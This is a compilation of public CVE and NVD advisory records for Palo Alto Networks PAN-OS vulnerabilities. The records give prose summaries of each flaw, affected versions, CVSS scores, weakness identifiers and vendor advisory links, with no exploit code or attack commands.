Vulnerability from cvelistv5
Published
2019-08-23 17:09
Modified
2024-08-04 18:20
Severity ?
Summary
Memory corruption in PAN-OS 8.1.9 and earlier, and PAN-OS 9.0.3 and earlier will allow an administrative user to cause arbitrary memory corruption by rekeying the current client interactive session.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1575
Vulnerability from cvelistv5
Published
2019-07-16 13:46
Modified
2024-08-04 18:20
Severity ?
Summary
Information disclosure in PAN-OS 7.1.23 and earlier, PAN-OS 8.0.18 and earlier, PAN-OS 8.1.8-h4 and earlier, and PAN-OS 9.0.2 and earlier may allow for an authenticated user with read-only privileges to extract the API key of the device and/or the username/password from the XML API (in PAN-OS) and possibly escalate privileges granted to them.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2016-3656
Vulnerability from cvelistv5
Published
2016-04-12 17:00
Modified
2024-08-06 00:03
Severity ?
Summary
The GlobalProtect Portal in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5H2 allows remote attackers to cause a denial of service (service crash) via a crafted request.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-0010
Vulnerability from cvelistv5
Published
2023-06-14 16:31
Modified
2024-12-30 15:30
Summary
A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software can allow a JavaScript payload to be executed in the context of an authenticated Captive Portal user’s browser when they click on a specifically crafted link.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2016-9150
Vulnerability from cvelistv5
Published
2016-11-19 06:29
Modified
2024-08-06 02:42
Severity ?
Summary
Buffer overflow in the management web interface in Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 allows remote attackers to execute arbitrary code via unspecified vectors.
References
http://www.securitytracker.com/id/1037382vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/40790/exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/94399vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2016-9150x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2005
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 03:27
Summary
A cross-site scripting (XSS) vulnerability exists when visiting malicious websites with the Palo Alto Networks GlobalProtect Clientless VPN that can compromise the user's active session. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-0008
Vulnerability from cvelistv5
Published
2023-05-10 16:34
Modified
2024-08-02 04:54
Summary
A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write administrator with access to the web interface to export local files from the firewall through a race condition.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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Vulnerability from fkie_nvd
Published
2020-03-11 19:15
Modified
2024-11-21 05:11
Summary
A shell command injection vulnerability in the PAN-OS CLI allows a local authenticated user to escape the restricted shell and escalate privileges. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions. This issue is fixed in PAN-OS 8.1.13, and all later versions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:57
Severity ?
Summary
The App-ID cache feature in Palo Alto Networks PAN-OS before 4.0.14, 4.1.x before 4.1.11, and 5.0.x before 5.0.2 allows remote attackers to bypass intended security policies via crafted requests that trigger invalid caching, as demonstrated by incorrect identification of HTTP traffic as SIP traffic, aka Ref ID 47195.



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      "value": "The App-ID cache feature in Palo Alto Networks PAN-OS before 4.0.14, 4.1.x before 4.1.11, and 5.0.x before 5.0.2 allows remote attackers to bypass intended security policies via crafted requests that trigger invalid caching, as demonstrated by incorrect identification of HTTP traffic as SIP traffic, aka Ref ID 47195."
    },
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      "value": "La caracter\u00edstica App-ID cache en  Palo Alto Networks PAN-OS anterior a 4.0.14, 4.1.x anterior a 4.1.11 y 5.0.x anterior a 5.0.2, permite a atacantes remotos evitar las pol\u00edticas de seguridad establecidas a trav\u00e9s de una petici\u00f3n que provoca un cacheo no v\u00e1lido, como se demostr\u00f3 mediante la identificaci\u00f3n incorrecta del tr\u00e1fico HTTP como tr\u00e1fico SIP. Aka Ref ID 47195."
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  ],
  "id": "CVE-2013-5663",
  "lastModified": "2024-11-21T01:57:54.450",
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    },
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}

Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An authentication bypass vulnerability in the Panorama context switching feature allows an attacker with network access to a Panorama's management interface to gain privileged access to managed firewalls. An attacker requires some knowledge of managed firewalls to exploit this issue. This issue does not affect Panorama configured with custom certificates authentication for communication between Panorama and managed devices. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.12; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An OS command injection vulnerability in the Simple Certificate Enrollment Protocol (SCEP) feature of PAN-OS software allows an unauthenticated network-based attacker with specific knowledge of the firewall configuration to execute arbitrary code with root user privileges. The attacker must have network access to the GlobalProtect interfaces to exploit this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers with Prisma Access 2.1 Preferred and Prisma Access 2.1 Innovation firewalls are impacted by this issue.



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  "id": "CVE-2021-3060",
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}

Vulnerability from fkie_nvd
Published
2020-04-08 19:15
Modified
2024-11-21 05:11
Summary
A format string vulnerability in the Varrcvr daemon of PAN-OS on PA-7000 Series devices with a Log Forwarding Card (LFC) allows remote attackers to crash the daemon creating a denial of service condition or potentially execute code with root privileges. This issue affects Palo Alto Networks PAN-OS 9.0 versions before 9.0.7; PAN-OS 9.1 versions before 9.1.2 on PA-7000 Series devices with an LFC installed and configured. This issue requires WildFire services to be configured and enabled. This issue does not affect PAN-OS 8.1 and earlier releases. This issue does not affect any other PA Series firewalls.



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    }
  ],
  "id": "CVE-2020-1992",
  "lastModified": "2024-11-21T05:11:48.233",
  "metrics": {
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        },
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        "impactScore": 5.9,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
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  },
  "published": "2020-04-08T19:15:14.213",
  "references": [
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      "type": "Secondary"
    },
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      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2024-09-11 17:15
Modified
2024-10-03 00:19
Summary
An improper neutralization of matching symbols vulnerability in the Palo Alto Networks PAN-OS command line interface (CLI) enables authenticated administrators (including read-only administrators) with access to the CLI to to read arbitrary files on the firewall.
Impacted products



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A DOM-Based Cross Site Scripting Vulnerability exists in PAN-OS and Panorama Management Web Interfaces. A remote attacker able to convince an authenticated administrator to click on a crafted link to PAN-OS and Panorama Web Interfaces could execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.



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Vulnerability from fkie_nvd
Published
2017-08-02 19:29
Modified
2024-11-21 03:33
Severity ?
Summary
The DNS Proxy in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to execute arbitrary code via a crafted domain name.



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  ],
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    {
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      "url": "https://security.paloaltonetworks.com/CVE-2017-8390"
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Vulnerability from fkie_nvd
Published
2019-07-19 22:15
Modified
2024-11-21 04:36
Summary
Remote Code Execution in PAN-OS 7.1.18 and earlier, PAN-OS 8.0.11-h1 and earlier, and PAN-OS 8.1.2 and earlier with GlobalProtect Portal or GlobalProtect Gateway Interface enabled may allow an unauthenticated remote attacker to execute arbitrary code.
Impacted products



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Vulnerability from fkie_nvd
Published
2024-08-14 17:15
Modified
2024-08-20 19:30
Summary
An information exposure vulnerability in Palo Alto Networks PAN-OS software enables a local system administrator to unintentionally disclose secrets, passwords, and tokens of external systems. A read-only administrator who has access to the config log, can read secrets, passwords, and tokens to external systems.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2020-02-12 23:15
Modified
2024-11-21 05:11
Summary
Missing XML validation vulnerability in the PAN-OS web interface on Palo Alto Networks PAN-OS software allows authenticated users to inject arbitrary XML that results in privilege escalation. This issue affects PAN-OS 8.1 versions earlier than PAN-OS 8.1.12 and PAN-OS 9.0 versions earlier than PAN-OS 9.0.6. This issue does not affect PAN-OS 7.1, PAN-OS 8.0, or PAN-OS 9.1 or later versions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.2 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 34502.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
Improper restriction of XML external entity reference ('XXE') vulnerability in Palo Alto Networks Panorama management service allows remote unauthenticated attackers with network access to the Panorama management interface to read arbitrary files on the system. This issue affects: All versions of PAN-OS for Panorama 7.1 and 8.0; PAN-OS for Panorama 8.1 versions earlier than 8.1.13; PAN-OS for Panorama 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2016-11-19 06:59
Modified
2024-11-21 03:00
Summary
Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 allows local users to gain privileges via crafted values of unspecified environment variables.



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}

Vulnerability from fkie_nvd
Published
2020-11-12 00:15
Modified
2024-11-21 05:24
Summary
An authentication bypass vulnerability exists in the GlobalProtect SSL VPN component of Palo Alto Networks PAN-OS software that allows an attacker to bypass all client certificate checks with an invalid certificate. A remote attacker can successfully authenticate as any user and gain access to restricted VPN network resources when the gateway or portal is configured to rely entirely on certificate-based authentication. Impacted features that use SSL VPN with client certificate verification are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN In configurations where client certificate verification is used in conjunction with other authentication methods, the protections added by the certificate check are ignored as a result of this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.12, 4.0.x before 4.0.10, and 4.1.x before 4.1.4 allows remote attackers to execute arbitrary code via unspecified vectors, aka Ref ID 36983.



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  ],
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Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
A credential disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to obtain the plaintext credentials of stored external system integrations such as LDAP, SCP, RADIUS, TACACS+, and SNMP from the web interface.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An external control of filename vulnerability in the SD WAN component of Palo Alto Networks PAN-OS Panorama allows an authenticated administrator to send a request that results in the creation and write of an arbitrary file on all firewalls managed by the Panorama. In some cases this results in arbitrary code execution with root permissions. This issue affects: All versions of PAN-OS 7.1; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2023-05-10 17:15
Modified
2024-11-21 07:36
Summary
A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write administrator with access to the web interface to export local files from the firewall through a race condition.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A cleartext transmission of sensitive information vulnerability in Palo Alto Networks PAN-OS Panorama that discloses an authenticated PAN-OS administrator's PAN-OS session cookie. When an administrator issues a context switch request into a managed firewall with an affected PAN-OS Panorama version, their PAN-OS session cookie is transmitted over cleartext to the firewall. An attacker with the ability to intercept this network traffic between the firewall and Panorama can access the administrator's account and further manipulate devices managed by Panorama. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All version of PAN-OS 8.0;



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Vulnerability from fkie_nvd
Published
2020-07-08 17:15
Modified
2024-11-21 05:24
Summary
An integer underflow vulnerability in the dnsproxyd component of the PAN-OS management interface allows authenticated administrators to issue a command from the command line interface that causes the component to stop responding. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 9.1 versions earlier than PAN-OS 9.1.3. This issue does not impact PAN-OS 8.1, PAN-OS 9.0, or Prisma Access services.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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}

Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in PAN-OS management server allows authenticated users to inject and execute arbitrary shell commands with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2019-01-30 20:29
Modified
2024-11-21 04:36
Summary
The PAN-OS external dynamics lists in PAN-OS 7.1.21 and earlier, PAN-OS 8.0.14 and earlier, and PAN-OS 8.1.5 and earlier, may allow an attacker that is authenticated in Next Generation Firewall with write privileges to External Dynamic List configuration to inject arbitrary JavaScript or HTML.
Impacted products



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Vulnerability from fkie_nvd
Published
2024-10-09 17:15
Modified
2024-10-15 16:55
Summary
A privilege escalation (PE) vulnerability in the XML API of Palo Alto Networks PAN-OS software enables an authenticated PAN-OS administrator with restricted privileges to use a compromised XML API key to perform actions as a higher privileged PAN-OS administrator. For example, an administrator with "Virtual system administrator (read-only)" access could use an XML API key of a "Virtual system administrator" to perform write operations on the virtual system configuration even though they should be limited to read-only operations.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
A race condition due to insecure creation of a file in a temporary directory vulnerability in PAN-OS allows for root privilege escalation from a limited linux user account. This allows an attacker who has escaped the restricted shell as a low privilege administrator, possibly by exploiting another vulnerability, to escalate privileges to become root user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.



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          "baseScore": 7.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 5.9,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-05-13T19:15:14.317",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2016"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2016"
    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-377"
        }
      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-362"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2022-03-09 18:15
Modified
2024-11-21 06:37
Summary
Usage of a weak cryptographic algorithm in Palo Alto Networks PAN-OS software where the password hashes of administrator and local user accounts are not created with a sufficient level of computational effort, which allows for password cracking attacks on accounts in normal (non-FIPS-CC) operational mode. An attacker must have access to the account password hashes to take advantage of this weakness and can acquire those hashes if they are able to gain access to the PAN-OS software configuration. Fixed versions of PAN-OS software use a secure cryptographic algorithm for account password hashes. This issue does not impact Prisma Access firewalls. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; All versions of PAN-OS 9.0; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11; PAN-OS 10.0 versions earlier than PAN-OS 10.0.7.



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            },
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              "vulnerable": true
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          "negate": false,
          "operator": "OR"
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      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Usage of a weak cryptographic algorithm in Palo Alto Networks PAN-OS software where the password hashes of administrator and local user accounts are not created with a sufficient level of computational effort, which allows for password cracking attacks on accounts in normal (non-FIPS-CC) operational mode. An attacker must have access to the account password hashes to take advantage of this weakness and can acquire those hashes if they are able to gain access to the PAN-OS software configuration. Fixed versions of PAN-OS software use a secure cryptographic algorithm for account password hashes. This issue does not impact Prisma Access firewalls. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; All versions of PAN-OS 9.0; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11; PAN-OS 10.0 versions earlier than PAN-OS 10.0.7."
    },
    {
      "lang": "es",
      "value": "Uso de un algoritmo criptogr\u00e1fico d\u00e9bil en el software PAN-OS de Palo Alto Networks en el que los hashes de las contrase\u00f1as de las cuentas de administrador y de usuario local no se crean con un nivel de esfuerzo computacional suficiente, lo que permite realizar ataques de descifrado de contrase\u00f1as en las cuentas en modo operativo normal (no FIPS-CC). Un atacante debe tener acceso a los hashes de las contrase\u00f1as de las cuentas para aprovechar esta debilidad y puede adquirir esos hashes si consigue acceder a la configuraci\u00f3n del software PAN-OS. Las versiones corregidas del software PAN-OS utilizan un algoritmo criptogr\u00e1fico seguro para los hashes de las contrase\u00f1as de las cuentas. Este problema no afecta a los cortafuegos Prisma Access. Este problema afecta a: Las versiones de PAN-OS 8.1 anteriores a PAN-OS 8.1.21; todas las versiones de PAN-OS 9.0; las versiones de PAN-OS 9.1 anteriores a PAN-OS 9.1.11; las versiones de PAN-OS 10.0 anteriores a PAN-OS 10.0.7"
    }
  ],
  "id": "CVE-2022-0022",
  "lastModified": "2024-11-21T06:37:50.267",
  "metrics": {
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        "acInsufInfo": false,
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          "authentication": "NONE",
          "availabilityImpact": "PARTIAL",
          "baseScore": 4.6,
          "confidentialityImpact": "PARTIAL",
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          "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P",
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        "exploitabilityScore": 3.9,
        "impactScore": 6.4,
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        "source": "nvd@nist.gov",
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          "integrityImpact": "NONE",
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          "version": "3.1"
        },
        "exploitabilityScore": 0.5,
        "impactScore": 3.6,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
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        "cvssData": {
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        "impactScore": 3.6,
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        "type": "Primary"
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  },
  "published": "2022-03-09T18:15:07.740",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
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      "url": "https://security.paloaltonetworks.com/CVE-2022-0022"
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    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2022-0022"
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  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
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          "lang": "en",
          "value": "CWE-916"
        }
      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-916"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2021-08-11 17:15
Modified
2024-11-21 06:20
Summary
An improper authentication vulnerability exists in Palo Alto Networks PAN-OS software that enables a SAML authenticated attacker to impersonate any other user in the GlobalProtect Portal and GlobalProtect Gateway when they are configured to use SAML authentication. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. PAN-OS 10.1 versions are not impacted.



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              "versionEndExcluding": "8.1.19",
              "versionStartIncluding": "8.1.0",
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              "versionEndExcluding": "9.0.14",
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              "matchCriteriaId": "2E92DFB1-AD67-4FF8-9722-200630EA490A",
              "versionEndExcluding": "10.0.5",
              "versionStartIncluding": "10.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
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  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An improper authentication vulnerability exists in Palo Alto Networks PAN-OS software that enables a SAML authenticated attacker to impersonate any other user in the GlobalProtect Portal and GlobalProtect Gateway when they are configured to use SAML authentication. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. PAN-OS 10.1 versions are not impacted."
    },
    {
      "lang": "es",
      "value": "Se presenta una vulnerabilidad de autenticaci\u00f3n inapropiada en el software PAN-OS de Palo Alto Networks, que permite a un atacante con autenticaci\u00f3n SAML hacerse pasar por cualquier otro usuario en GlobalProtect Portal y GlobalProtect Gateway cuando est\u00e1n configurados para usar la autenticaci\u00f3n SAML. Este problema afecta a: PAN-OS versiones 8.1 anteriores a PAN-OS 8.1.19; PAN-OS versiones 9.0 anteriores a PAN-OS 9.0.14; PAN-OS versiones 9.1 anteriores a PAN-OS 9.1.9; PAN-OS versiones 10.0 anteriores a PAN-OS 10.0.5. PAN-OS versiones 10.1 no est\u00e1n afectadas"
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  ],
  "id": "CVE-2021-3046",
  "lastModified": "2024-11-21T06:20:50.333",
  "metrics": {
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      {
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        "baseSeverity": "MEDIUM",
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          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "confidentialityImpact": "PARTIAL",
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          "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
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        "exploitabilityScore": 8.6,
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          "version": "3.1"
        },
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        "impactScore": 5.2,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
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          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
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  },
  "published": "2021-08-11T17:15:07.450",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
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      "url": "https://security.paloaltonetworks.com/CVE-2021-3046"
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      "tags": [
        "Vendor Advisory"
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      "url": "https://security.paloaltonetworks.com/CVE-2021-3046"
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  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
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          "value": "CWE-287"
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      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
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      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2016-11-19 06:59
Modified
2024-11-21 03:00
Summary
The Addresses Object parser in Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 mishandles single quote characters, which allows remote authenticated users to conduct XPath injection attacks via a crafted string.



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              "versionEndExcluding": "5.0.20",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
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              "matchCriteriaId": "8970A3D2-1CA1-4909-8FBE-4BDC1D34C227",
              "versionEndExcluding": "5.1.13",
              "versionStartIncluding": "5.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*",
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              "versionEndExcluding": "6.0.15",
              "versionStartIncluding": "6.0.0",
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            },
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              "matchCriteriaId": "C2921240-6A10-431E-AB3D-045F8025D409",
              "versionEndExcluding": "6.1.15",
              "versionStartIncluding": "6.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "75574CF8-4112-4938-A116-0BF4E8683A90",
              "versionEndExcluding": "7.0.11",
              "versionStartIncluding": "7.0.0",
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              "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6B152CB8-FC17-4122-8964-DBBDBD92C4B3",
              "versionEndExcluding": "7.1.6",
              "versionStartIncluding": "7.1.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
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  ],
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      "value": "The Addresses Object parser in Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 mishandles single quote characters, which allows remote authenticated users to conduct XPath injection attacks via a crafted string."
    },
    {
      "lang": "es",
      "value": "El interprete Addresses Object en Palo Alto Networks PAN-OS en versiones anteriores a 5.0.20, 5.1.x en versiones anteriores a 5.1.13, 6.0.x en versiones anteriores a 6.0.15, 6.1.x en versiones anteriores a 6.1.15, 7.0.x en versiones anteriores a 7.0.11 y 7.1.x en versiones anteriores a 7.1.6 no maneja correctamente los caracteres de comillas simples, lo que permite a usuarios remotos autenticados llevar a cabo ataques de inyecci\u00f3n XPath a trav\u00e9s de una cadena manipulada."
    }
  ],
  "id": "CVE-2016-9149",
  "lastModified": "2024-11-21T03:00:42.157",
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          "authentication": "SINGLE",
          "availabilityImpact": "NONE",
          "baseScore": 4.0,
          "confidentialityImpact": "NONE",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N",
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        "exploitabilityScore": 8.0,
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          "confidentialityImpact": "NONE",
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          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
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        },
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  },
  "published": "2016-11-19T06:59:00.230",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
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      "url": "http://www.securityfocus.com/bid/94401"
    },
    {
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      "tags": [
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        "VDB Entry"
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      "url": "http://www.securitytracker.com/id/1037379"
    },
    {
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      "url": "https://security.paloaltonetworks.com/CVE-2016-9149"
    },
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      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2019-08-23 18:15
Modified
2024-11-21 04:36
Summary
Memory corruption in PAN-OS 8.1.9 and earlier, and PAN-OS 9.0.3 and earlier will allow an administrative user to cause arbitrary memory corruption by rekeying the current client interactive session.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The web management UI in Palo Alto Networks PAN-OS before 3.1.12, 4.0.x before 4.0.10, and 4.1.x before 4.1.4 allows remote attackers to bypass authentication and obtain administrator privileges via unspecified vectors, aka Ref ID 37034.



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Vulnerability from fkie_nvd
Published
2020-11-12 00:15
Modified
2024-11-21 05:24
Summary
An OS command injection and memory corruption vulnerability in the PAN-OS management web interface that allows authenticated administrators to disrupt system processes and potentially execute arbitrary code and OS commands with root privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.



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Vulnerability from fkie_nvd
Published
2017-04-14 14:59
Modified
2024-11-21 03:31
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.0.14 and 7.1.x before 7.1.9 allows remote attackers to write to export files via unspecified parameters.



